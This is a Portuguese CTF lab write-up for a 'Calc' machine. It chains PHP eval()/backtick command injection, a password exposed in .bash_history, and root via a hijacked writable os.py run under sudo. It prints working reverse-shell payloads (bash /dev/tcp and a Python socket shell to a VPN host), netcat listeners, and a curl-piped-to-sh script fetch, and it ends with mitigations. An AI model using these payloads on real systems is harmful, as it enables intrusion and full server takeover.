Máquina: Calc
🎯 Writeup — Máquina Calc
Dificuldade: Médio | SO: Linux | Tags:
Command Injection·PHP eval()·Backtick Operator·Python Library Hijacking·Sudo PrivEsc
1. Sumário Executivo
O comprometimento total foi alcançado por meio de uma cadeia de exploração que iniciou com uma vulnerabilidade de Command Injection em uma calculadora online. A aplicação PHP utilizava a função eval() para processar expressões matemáticas, e o suporte nativo do PHP ao operador de execução com backticks (`) permitiu a execução arbitrária de comandos no servidor, resultando em Remote Code Execution (RCE). A partir do acesso inicial como apache, um arquivo .bash_history expôs credenciais em texto plano que possibilitaram a movimentação lateral para o usuário sysadmin. A escalação de privilégios foi obtida via Python Library Hijacking: o usuário tinha permissão sudo para executar um script Python que importava a biblioteca os, e essa biblioteca era gravável, permitindo a injeção de uma reverse shell executada com privilégios de root.
2. Reconhecimento
2.1 Scan de Portas
nmap -p- -T4 --min-rate 1000 <IP_ALVO>
Resultado:
| Porta | Serviço |
|---|---|
| 22 | SSH |
| 80 | HTTP (Calculadora PHP) |
| 111 | rpcbind |
2.2 Enumeração Web
Acessando a porta 80, foi identificada uma calculadora online que permite ao usuário inserir expressões matemáticas e receber o resultado processado pelo servidor.
⚠️ A funcionalidade de cálculo server-side é um vetor de injeção potencial — qualquer função que avalie expressões dinamicamente (como
eval()) pode ser explorada.
3. Exploração Web — Command Injection via PHP eval() + Backticks
3.1 Identificação do Ponto de Injeção
Utilizando o Burp Suite para interceptar a requisição, foi identificada uma requisição POST com o parâmetro calc responsável por enviar as expressões ao servidor:
POST / HTTP/1.1
Host: <IP_ALVO>
Content-Type: application/x-www-form-urlencoded
calc=2+2
A análise do comportamento indicou o uso da função eval() do PHP para processar o parâmetro, tornando-o vulnerável a injeção.
3.2 Técnica de Exploração — PHP Backtick Operator
O PHP suporta um operador de execução com acentos graves (backticks), que funciona de forma idêntica à função shell_exec(): qualquer conteúdo envolto em ` ` é executado como comando de shell e seu resultado retornado como string.
Payload de confirmação (RCE):
`id`
O servidor retornou a saída do comando id, confirmando a execução remota de comandos:
uid=48(apache) gid=48(apache) groups=48(apache)
3.3 Obtenção de Reverse Shell
Com a confirmação de RCE, o próximo passo foi estabelecer uma reverse shell estável. O payload utilizado:
/bin/bash -c 'sh -i >& /dev/tcp/<IP_VPN>/443 0>&1'
Importante: O payload precisa ser URL-encoded antes de ser enviado no parâmetro calc via Burp Suite (Ctrl+U para encoding automático). Resultado após encoding:
/bin/bash+-c+'sh+-i+>%26+/dev/tcp/<IP_VPN>/443+0>%261'
Configurando o listener no atacante:
nc -lvnp 443
Após o envio do payload, a conexão reversa foi recebida com o usuário apache.
4. Pós-Exploração — Estabilização do Shell e Flag Inicial
4.1 Upgrade para TTY Interativo
python -c "import pty;pty.spawn('/bin/bash')"
# Ctrl+Z
stty raw -echo; fg
# Enter
export TERM=xterm
4.2 Flag Web
Navegando até /var/www/html, foi obtida a primeira flag da aplicação.
5. Movimentação Lateral — Apache → sysadmin
5.1 Enumeração do Sistema
Como apache, ao navegar até o diretório home do usuário sysadmin, a flag de usuário estava presente, porém sem permissão de leitura para o usuário apache.
5.2 Leitura do .bash_history
cat /home/sysadmin/.bash_history
O arquivo .bash_history do usuário sysadmin estava legível e continha um hash (senha) exposto em texto plano, resultado de um comando previamente executado pelo usuário.
🔑 Credencial descoberta:
sysadmin/<hash/senha encontrada no .bash_history>Falha crítica: Credencial sensível persistida no histórico de comandos sem remoção.
5.3 Acesso SSH como sysadmin
ssh sysadmin@<IP_ALVO>
# Senha: <hash encontrado>
Flag de Usuário:
uhc{...flag_de_usuario...}
6. Escalação de Privilégios (PrivEsc) — Python Library Hijacking
6.1 Enumeração de Sudo
sudo -l
Foi identificado que o usuário sysadmin podia executar o script calc.py com privilégios de root:
User sysadmin may run the following commands on this host:
(root) NOPASSWD: /usr/bin/python /opt/calc.py
6.2 Análise do Script calc.py
O conteúdo do arquivo /opt/calc.py foi inspecionado:
cat /opt/calc.py
O script importava a biblioteca padrão os do Python — um vetor clássico para Library Hijacking.
ℹ️ O arquivo
calc.pynão era gravável, mas a biblioteca importada por ele pode ser.
6.3 Identificação da Biblioteca Gravável
Usando o LinPEAS ou enumeração manual para localizar o arquivo os.py com permissão de escrita:
find / -name "os.py" -writable 2>/dev/null
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
O linpeas.sh confirmou que o arquivo os.py da biblioteca padrão do Python era gravável pelo usuário atual.
6.4 Injeção do Payload na Biblioteca os.py
Foi adicionada uma reverse shell na última linha do arquivo os.py:
echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<IP_VPN>\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);" >> /usr/lib/python2.7/os.py
6.5 Gatilho e Exploração
Configurando o listener no atacante:
nc -lvnp 4444
Executando o script com sudo:
sudo /usr/bin/python /opt/calc.py
Quando o script importa os, o código malicioso injetado é executado com privilégios de root, estabelecendo a conexão reversa:
whoami
# root
Flag de Root: Obtida em /root/root.txt.
7. Diagrama da Cadeia de Ataque
[Calculadora Web - POST /]
│
▼
Parâmetro calc vulnerável
(PHP eval() + Backtick Operator)
│
└─► RCE como apache
│
└─► /home/sysadmin/.bash_history
│
└─► Credencial exposta (hash/senha)
│
└─► SSH como sysadmin ✅
│
└─► Flag usuário
│
└─► sudo calc.py (root)
│
└─► os.py (gravável)
│
└─► Library Hijacking → Reverse Shell ROOT ✅
8. Credenciais e Flags
| Item | Valor |
|---|---|
| Usuário inicial | apache (via RCE) |
| Usuário lateral | sysadmin |
| Senha sysadmin | <hash encontrado no .bash_history> |
| Flag Usuário | uhc{...} (em /home/sysadmin/user.txt) |
| Flag Root | (obtida em /root/root.txt) |
9. Vulnerabilidades Identificadas
| # | Vulnerabilidade | Severidade | CVE/CWE |
|---|---|---|---|
| 1 | Command Injection via PHP eval() + Backtick Operator |
🔴 Crítico | CWE-78 |
| 2 | Credencial exposta em .bash_history |
🔴 Crítico | CWE-312 |
| 3 | Python Library Hijacking via biblioteca os.py gravável |
🔴 Crítico | CWE-732 |
| 4 | Configuração insegura de sudo (execução de script Python como root) |
🔴 Crítico | CWE-269 |
| 5 | Ausência de validação/sanitização de input no parâmetro calc |
🔴 Crítico | CWE-20 |
10. Ferramentas Utilizadas
| Ferramenta | Uso |
|---|---|
nmap |
Scan de portas/serviços |
Burp Suite |
Interceptação e análise de requisições HTTP |
netcat (nc) |
Listeners para reverse shells |
linpeas.sh |
Enumeração automatizada de PrivEsc |
python |
Upgrade de TTY e Library Hijacking |
ssh |
Acesso remoto pós-exploração |
11. Recomendações de Mitigação
- Command Injection /
eval(): Nunca usareval()com input controlado pelo usuário. Implementar um parser matemático dedicado (ex: bibliotecamathjs,numexpr) com whitelist estrita de caracteres permitidos. - Backtick Operator: Desabilitar funções perigosas do PHP via
php.ini:disable_functions = exec,shell_exec,passthru,system,popen,proc_open. .bash_history: Limpar regularmente o histórico de comandos (history -c) e configurarHISTFILE=/dev/nullem sessões administrativas sensíveis. Nunca digitar senhas diretamente na linha de comando.- Permissões de bibliotecas Python: Garantir que bibliotecas do sistema sejam de propriedade de
roote não tenham permissão de escrita para usuários não-privilegiados:chmod 644 /usr/lib/python*/os.py. - Configuração de
sudo: Restringir ao máximo os scripts executáveis viasudo. Evitar que scripts importem módulos de localização relativa ou que módulos importados sejam graváveis. Considerar o uso desudoeditem vez desudopara edição de arquivos.